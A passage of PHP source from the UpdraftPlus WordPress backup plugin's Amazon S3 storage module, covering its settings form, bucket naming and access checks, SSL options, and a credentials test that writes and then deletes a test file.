<td><input class="updraft_input--wide" data-updraft_settings_test="accesskey" type="text" autocomplete="off" <?php $this->output_settings_field_name_and_id('accesskey');?> value="{{accesskey}}" /></td>
</tr>
<tr class="<?php echo esc_attr($classes);?>">
<th><?php echo esc_html(sprintf(__('%s secret key', 'updraftplus'), $whoweare_short));?>:</th>
<td><input class="updraft_input--wide" data-updraft_settings_test="secretkey" type="<?php echo esc_attr(apply_filters('updraftplus_admin_secret_field_type', 'password')); ?>" autocomplete="off" <?php $this->output_settings_field_name_and_id('secretkey');?> value="{{secretkey}}" /></td>
</tr>
<tr class="<?php echo esc_attr($classes);?>">
<th><?php echo esc_html(sprintf(__('%s location', 'updraftplus'), $whoweare_short));?>:</th>
<td><?php echo esc_html($key); ?>://<input class="updraft_input--wide" data-updraft_settings_test="path" title="<?php echo esc_attr(__('Enter only a bucket name or a bucket and path.', 'updraftplus').' '.__('Examples: mybucket, mybucket/mypath', 'updraftplus')); ?>" type="text" <?php $this->output_settings_field_name_and_id('path');?> value="{{path}}" /></td>
</tr>
<?php
$template_str .= ob_get_clean();
$template_str .= $this->get_partial_configuration_template_for_endpoint();
$template_str .= apply_filters('updraft_'.$key.'_extra_storage_options_configuration_template', '', $this);
$template_str .= $this->get_test_button_html($whoweare_short);
return $template_str;
}
/**
* Get handlebar partial template string for endpoint of s3 compatible remote storage method. Other child class can extend it.
* DEVELOPER NOTE: Please don't use/call this method anymore as it was used by S3-Compatible (Generic) storage, and it's consider to be removed in future versions. Once Amazon S3-Compatible templates is CSP-compliant, this should be removed and should be placed in the class child instead of the base class.
*
* @return String - the partial template
*/
protected function get_partial_configuration_template_for_endpoint() {
return '';
}
/**
* Retrieve a list of template properties by taking all the persistent variables and methods of the parent class and combining them with the ones that are unique to this module, also the necessary HTML element attributes and texts which are also unique only to this backup module
* NOTE: Please sanitise all strings that are required to be shown as HTML content on the frontend side (i.e. wp_kses()), or any other technique to prevent XSS attacks that could come via WP hooks
*
* @return Array an associative array keyed by names that describe themselves as they are
*/
public function get_template_properties() {
global $updraftplus, $updraftplus_admin;
$properties = array(
'storage_image_url' => UPDRAFTPLUS_URL .'/images/aws_logo.png',
'console_url' => wp_kses(sprintf(__('Get your access key and secret key from your <a href="%s">%s console</a>, then pick a (globally unique - all %s users) bucket name (letters and numbers) (and optionally a path) to use for storage.', 'updraftplus'), 'https://aws.amazon.com/console/', 'AWS', $updraftplus->backup_methods[$this->get_id()]).' '.__('This bucket will be created for you if it does not already exist.', 'updraftplus'), $this->allowed_html_for_content_sanitisation()),
'xmlwriter_existence_label' => !apply_filters('updraftplus_s3_xmlwriter_exists', 'UpdraftPlus_S3_Compat' != $this->indicate_s3_class() || class_exists('XMLWriter')) ? wp_kses($updraftplus_admin->show_double_warning('<strong>'.__('Warning', 'updraftplus').':</strong> '.sprintf(__("Your web server's PHP installation does not include a required module (%s).", 'updraftplus'), 'XMLWriter').' '.__("Please contact your web hosting provider's support and ask for them to enable it.", 'updraftplus'), $this->get_id(), false), $this->allowed_html_for_content_sanitisation()) : '',
'simplexmlelement_existence_label' => !apply_filters('updraftplus_s3_simplexmlelement_exists', class_exists('SimpleXMLElement')) ? wp_kses($updraftplus_admin->show_double_warning('<strong>'.__('Warning', 'updraftplus').':</strong> '.sprintf(__("Your web server's PHP installation does not include a required module (%s).", 'updraftplus'), 'SimpleXMLElement').' '.__("Please contact your web hosting provider's support.", 'updraftplus').' '.sprintf(__("UpdraftPlus's %s module <strong>requires</strong> %s.", 'updraftplus'), $updraftplus->backup_methods[$this->get_id()], 'SimpleXMLElement').' '.__('Please do not file any support requests; there is no alternative.', 'updraftplus'), $this->get_id(), false), $this->allowed_html_for_content_sanitisation()) : '',
'curl_existence_label' => wp_kses($updraftplus_admin->curl_check($updraftplus->backup_methods[$this->get_id()], true, $this->get_id().' hide-in-udc', false), $this->allowed_html_for_content_sanitisation()),
'ssl_certificates_errors_link_text' => wp_kses('<a href="'.apply_filters("updraftplus_com_link", "https://updraftplus.com/faqs/i-get-ssl-certificate-errors-when-backing-up-andor-restoring/").'" target="_blank">'.__('If you see errors about SSL certificates, then please go here for help.', 'updraftplus').'</a>', $this->allowed_html_for_content_sanitisation()),
'faqs' => wp_kses('<a href="'.apply_filters("updraftplus_com_link", "https://updraftplus.com/faq-category/amazon-s3/").'" target="_blank">'.sprintf(__('Other %s FAQs.', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]).'</a>', $this->allowed_html_for_content_sanitisation()),
'input_access_key_label' => sprintf(__('%s access key', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]),
'input_secret_key_label' => sprintf(__('%s secret key', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]),
'input_secret_key_type' => apply_filters('updraftplus_admin_secret_field_type', 'password'),
'input_location_label' => sprintf(__('%s location', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]),
'input_location_title' => __('Enter only a bucket name or a bucket and path.', 'updraftplus').' '.__('Examples: mybucket, mybucket/mypath', 'updraftplus'),
'input_test_label' => sprintf(__('Test %s Settings', 'updraftplus'), $updraftplus->backup_methods[$this->get_id()]),
);
return wp_parse_args(apply_filters('updraft_'.$this->get_id().'_template_properties', array()), wp_parse_args($properties, $this->get_persistent_variables_and_methods()));
}
/**
* Look at the config, and decide whether or not to call self::use_dns_bucket_name()
*
* @param Object $storage - S3 Name
* @param String $bucket - storage path
* @param Array $config - configuration - may not be complete at this stage, so be careful about which properties are used
*
* @return Boolean - whether or not DNS bucket naming will be used
*/
protected function maybe_use_dns_bucket_name($storage, $bucket, $config) {
if ('s3' === $config['key'] && '' !== $bucket) {
if (preg_match("#^([^/]+)/(.*)$#", $bucket, $pmatches)) {
$bucket = $pmatches[1];
} else {
$bucket = $bucket;
}
// AWS SSL certificates have wildcards at one level only, i.e. *.s3.amazonaws.com, so cannot be validated if the bucket brings in a further sub-domain level
if (false !== strstr($bucket, '.') && $storage->getuseSSL() && $storage->getUseSSLValidation()) return false;
if (strlen($bucket) > 63) return false;
if (preg_match("/[^a-z0-9\.-]/", $bucket)) return false;
// A DNS bucket name cannot contain -.
if (false !== strstr($bucket, '-.')) return false;
// A DNS bucket name cannot contain ..
if (false !== strstr($bucket, '..')) return false;
// A DNS bucket name must begin with 0-9a-z
if (!preg_match("/^[0-9a-z]/", $bucket)) return false;
// A DNS bucket name must end with 0-9 a-z
if (!preg_match("/[0-9a-z]$/", $bucket)) return false;
return $this->use_dns_bucket_name($storage, $bucket);
}
return false;
}
/**
* This is not pretty, but is the simplest way to accomplish the task within the pre-existing structure (no need to re-invent the wheel of code with corner-cases debugged over years)
*
* @param object $storage S3 Name
*
* @return Boolean - true if the operation was accepted
*/
public function use_dns_bucket_name($storage) {
return is_a($storage, 'UpdraftPlus_S3_Compat') ? true : $storage->useDNSBucketName(true);
}
/**
* Acts as a WordPress options filter
*
* @param Array $settings - pre-filtered settings
*
* @return Array filtered settings
*/
public function options_filter($settings) {
if (is_array($settings) && !empty($settings['version']) && !empty($settings['settings'])) {
foreach ($settings['settings'] as $instance_id => $instance_settings) {
if (!empty($instance_settings['path'])) {
$settings['settings'][$instance_id]['path'] = trim($instance_settings['path'], "/ \t\n\r\0\x0B");
}
}
}
return $settings;
}
/**
* This method contains some repeated code. After getting an S3 object, it's time to see if we can access that bucket - either immediately, or via creating it, etc.
*
* @param Object $storage S3 name
* @param Array $config array of config details; if the provider does not have the concept of regions, then the key 'endpoint' is required to be set
* @param String $bucket S3 Bucket
* @param String $path S3 Path
*
* @return Array - N.B. May contain updated versions of $storage and $config
*/
private function get_bucket_access($storage, $config, $bucket, $path) {
$bucket_exists = false;
$use_ssl = true;
$ssl_ca = false;
$nossl = $this->got_with['nossl'];
// Ignore the 'nossl' setting if the endpoint is DigitalOcean Spaces (https://developers.digitalocean.com/documentation/v2/)
if (!empty($config['endpoint']) && preg_match('/\.digitaloceanspaces\.com$/i', $config['endpoint'])) {
$nossl = apply_filters('updraftplus_gets3_nossl', false, $config['endpoint'], $this->got_with['nossl']);
}
if (!$nossl) {
$curl_version = function_exists('curl_version') ? curl_version() : array('features' => null);
$curl_ssl_supported = ($curl_version['features'] && defined('CURL_VERSION_SSL') && CURL_VERSION_SSL);
if ($curl_ssl_supported) {
if ($this->got_with['disableverify']) {
$ssl_ca = false;
$this->log("Disabling verification of SSL certificates");
} else {
if ($this->got_with['useservercerts']) {
$this->log("Using the server's SSL certificates");
$ssl_ca = 'system';
} else {
$ssl_ca = file_exists(UPDRAFTPLUS_DIR.'/includes/cacert.pem') ? UPDRAFTPLUS_DIR.'/includes/cacert.pem' : true;
}
}
} else {
$use_ssl = false;
$this->log("Curl/SSL is not available. Communications will not be encrypted.");
}
} else {
$use_ssl = false;
$this->log("SSL was disabled via the user's preference. Communications will not be encrypted.");
}
$storage->setSSL($use_ssl);
$storage->setSSLAuth(null, null, $ssl_ca);
// If using Amazon S3, then always prefer using host-based access
$this->maybe_use_dns_bucket_name($storage, $bucket, $config);
if ($this->provider_has_regions) {
$storage->setExceptions(true);
if ('dreamobjects' == $config['key']) {
$endpoint = isset($config['endpoint']) ? $config['endpoint'] : '';
$this->set_region($storage, $endpoint);
}
try {
$region = @$storage->getBucketLocation($bucket);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
// We want to distinguish between an empty region (null), and an exception or missing bucket (false)
if (empty($region) && false !== $region) $region = null;
} catch (Exception $e) {
$region = false;
// This is not ideal, but helps with detection/trapping of other "permanent" conditions
// All these codes are likely to indicate things that we want to be logged, rather than suppressing logging until the final method used to get a bucket location
$curl_error_codes = array(1, 2, 3, 4, 5, 6, 7, 8, 16, 23, 26, 27, 28, 33, 35, 41, 43, 47, 48, 49, 53, 54, 55, 56, 58, 59, 60, 61, 66, 77, 81, 82, 83, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99);
if (UpdraftPlus_Options::get_updraft_option('updraft_debug_mode') || (preg_match('/\[(\d+)\]/', $e->getMessage(), $matches) && in_array($matches[1], $curl_error_codes))) {
global $updraftplus;
$updraftplus->log("get_bucket_access(): getBucketLocation exception (".get_class($e)."): ".$e->getMessage());
}
// On this 'first try', we trap these particular conditions. So, whatever S3 network call it happens on, we'll eventually get it here on the resumption.
if (false !== strpos($e->getMessage(), '[RequestTimeTooSkewed]')) {
$this->s3_exception = $e;
return array($storage, $config, false, false);
}
// The base Amazon S3 module and child S3-Generic remote storage don't use session token to make a connection to the targeted storage server: we only use session token for Vault storage.
// Since we don't provide credentials testing for Vault storage, this means handling session token expiry exception won't happen during credentials testing. So the fact that saved values are used here is fine, since there are no other relevant values in the absence of credentials testing.
if (false !== strpos($e->getMessage(), 'The provided token has expired')) {
$this->log($e->getMessage().": Requesting new credentials");
$new_config = $this->get_config(true);
if (empty($new_config['sessiontoken'])) $new_config['sessiontoken'] = null;
if (!empty($new_config['accesskey'])) {
$new_storage = $this->getS3(
$new_config['accesskey'],
$new_config['secretkey'],
UpdraftPlus_Options::get_updraft_option('updraft_ssl_useservercerts'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_disableverify'),
UpdraftPlus_Options::get_updraft_option('updraft_ssl_nossl'),
null,
!empty($new_config['server_side_encryption']),
$new_config['sessiontoken']
);
if (!is_wp_error($new_storage)) {
// Try again
try {
$region = @$new_storage->getBucketLocation($bucket);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
// We want to distinguish between an empty region (null), and an exception or missing bucket (false)
if (empty($region) && false !== $region) $region = null;
// Worked this time; update the passed-in information
$storage = $new_storage;
$config = $new_config;
} catch (Exception $e) {
$region = false;
}
}
}
}
}
$storage->setExceptions(false);
} else {
$region = false;
$this->set_region($storage, $config['endpoint'], $bucket);
}
// See if we can detect the region (which implies the bucket exists and is ours), or if not create it
if (!$this->provider_has_regions || false === $region) {
$storage->setExceptions(true);
try {
if (@$storage->putBucket($bucket, 'private')) {// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
$bucket_exists = true;
}
} catch (Exception $e) {
$this->s3_exception = $e;
try {
if (false !== @$storage->getBucket($bucket, $path, null, 1)) {// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
$bucket_exists = true;
}
} catch (Exception $e) {
// We don't put this in a separate catch block which names the exception, since we need to remain compatible with PHP 5.2
if (is_a($storage, 'UpdraftPlus_S3_Compat') && is_a($e, 'Aws\S3\Exception\S3Exception')) {
$response = $e->getResponse();
if (is_null($response)) {
$this->s3_exception = $e;
} else {
$xml = new SimpleXMLElement((string) $response->getBody(), LIBXML_NONET);
if (!empty($xml->Code) && 'AuthorizationHeaderMalformed' == $xml->Code->__toString() && !empty($xml->Region)) {
$this->set_region($storage, $xml->Region->__toString());
$storage->setExceptions(false);
if (false !== @$storage->getBucket($bucket, $path, null, 1)) {// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
$bucket_exists = true;
}
} else {
$this->s3_exception = $e;
}
}
} else {
$this->s3_exception = $e;
}
}
}
$storage->setExceptions(false);
} else {
$bucket_exists = true;
}
// For a region-less S3 system, we set this to true so that we can carry on trying anyway, since the behaviour of different S3-compatible systems can vary. e.g. DigitalOcean spaces API keys allow you to create a bucket.
if (!$this->provider_has_regions) {
$bucket_exists = true;
} elseif ($bucket_exists) {
if ('s3' == $config['key'] || 'updraftvault' == $config['key']) {
$this->set_region($storage, $region, $bucket);
} elseif (!empty($region)) {
// N.B. region non-empty here implies that it's dreamobjects; but in that case, we already called set_region earlier. So, this is now commented (May 2021)
// if (!$endpoint) $this->set_region($storage, $endpoint, $bucket);
}
}
return array($storage, $config, $bucket_exists, $region);
}
/**
* Perform a test of user-supplied credentials, and echo the result
*
* @param Array $posted_settings - settings to test
*/
public function credentials_test($posted_settings) {
if (empty($posted_settings['accesskey'])) {
echo esc_html(sprintf(__("Failure: No %s was given.", 'updraftplus'), __('API key', 'updraftplus')));
return;
}
if (empty($posted_settings['secretkey'])) {
echo esc_html(sprintf(__("Failure: No %s was given.", 'updraftplus'), __('API secret', 'updraftplus')));
return;
}
$key = $posted_settings['accesskey'];
$secret = $posted_settings['secretkey'];
$path = $posted_settings['path'];
$useservercerts = isset($posted_settings['useservercerts']) ? absint($posted_settings['useservercerts']) : 0;
$disableverify = isset($posted_settings['disableverify']) ? absint($posted_settings['disableverify']) : 0;
$nossl = isset($posted_settings['nossl']) ? absint($posted_settings['nossl']) : 0;
$endpoint = isset($posted_settings['endpoint']) ? trim($posted_settings['endpoint']) : '';
$sse = empty($posted_settings['server_side_encryption']) ? false : true;
if (preg_match("#^/*([^/]+)/(.*)$#", $path, $bmatches)) {
$bucket = $bmatches[1];
$path = trailingslashit($bmatches[2]);
} else {
$bucket = $path;
$path = "";
}
if (empty($bucket)) {
esc_html_e("Failure: No bucket details were given.", 'updraftplus');
return;
}
if (!$this->provider_has_regions && '' == $endpoint) {
esc_html_e("Failure: No endpoint details were given.", 'updraftplus');
return;
}
$config = $this->get_config();
if ('' !== $endpoint) $config['endpoint'] = $endpoint;
$whoweare = $config['whoweare'];
$session_token = empty($config['sessiontoken']) ? null : $config['sessiontoken'];
$storage = $this->getS3($key, $secret, $useservercerts, $disableverify, $nossl, null, $sse, $session_token);
if (is_wp_error($storage)) {
foreach ($storage->get_error_messages() as $msg) {
echo esc_html($msg)."\n";
}
return;
}
if (!empty($posted_settings['signature_version'])) $config['signature_version'] = $posted_settings['signature_version'];
if (!empty($posted_settings['bucket_access_style']) && 'virtual_host_style' === $posted_settings['bucket_access_style']) {
$storage->useDNSBucketName(true, $bucket);
} else {
$storage->useDNSBucketName(false, $bucket);
}
list($storage, $config, $bucket_exists, $region) = $this->get_bucket_access($storage, $config, $bucket, $path);
$bucket_verb = '';
if ($this->provider_has_regions && $region) {
if ('s3' == $config['key']) {
$bucket_verb = __('Region', 'updraftplus').": $region: ";
}
}
if (empty($bucket_exists)) {
echo esc_html(__('Failure: We could not successfully access or create such a bucket.', 'updraftplus').' '.sprintf(__('Please check your access credentials, and if those are correct then try another bucket name (as another %s user may already have taken your name).', 'updraftplus'), $whoweare));
if (!empty($this->s3_exception)) echo "\n\n".esc_html(sprintf(__('The error reported by %s was:', 'updraftplus'), $whoweare).' '.$this->s3_exception);
if ('s3' == $config['key'] && 'AK' != substr($key, 0, 2)) echo "\n\n".esc_html(sprintf(__('The AWS access key looks to be wrong (valid %s access keys begin with "AK")', 'updraftplus'), $whoweare));
} else {
$try_file = md5(rand());
$storage->setExceptions(true);
try {
if (!$storage->putObjectString($try_file, $bucket, $path.$try_file)) {
echo esc_html(__('Failure', 'updraftplus').": {$bucket_verb}".__('We successfully accessed the bucket, but the attempt to create a file in it failed.', 'updraftplus'));
} else {
echo esc_html(__('Success', 'updraftplus').": {$bucket_verb}".__('We accessed the bucket, and were able to create files within it.', 'updraftplus')).' ';
$comm_with = ('' !== $endpoint) ? $endpoint : $config['whoweare_long'];
if ($storage->getuseSSL()) {
echo esc_html(sprintf(__('The communication with %s was encrypted.', 'updraftplus'), $comm_with));
} else {
echo esc_html(sprintf(__('The communication with %s was not encrypted.', 'updraftplus'), $comm_with));
}
$create_success = true;
}
} catch (Exception $e) {
echo esc_html(__('Failure', 'updraftplus').": {$bucket_verb}".__('We successfully accessed the bucket, but the attempt to create a file in it failed.', 'updraftplus').' '.__('Please check your access credentials.', 'updraftplus').' ('.$e->getMessage().')');
}
if (!empty($create_success)) {
try {
@$storage->deleteObject($bucket, $path.$try_file);// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged -- Silenced to suppress errors that may arise because of the method.
} catch (Exception $e) {
echo esc_html(' '.__('Delete failed:', 'updraftplus').' '.$e->getMessage());
}
}
}
}
/**
* Check whether options have been set up by the user, or not
*
* @param Array $opts - the potential options
*
* @return Boolean
*/
public function options_exist($opts) {
if (is_array($opts) && isset($opts['accesskey']) && '' != $opts['accesskey'] && isset($opts['secretkey'])) return true;
return false;
}
}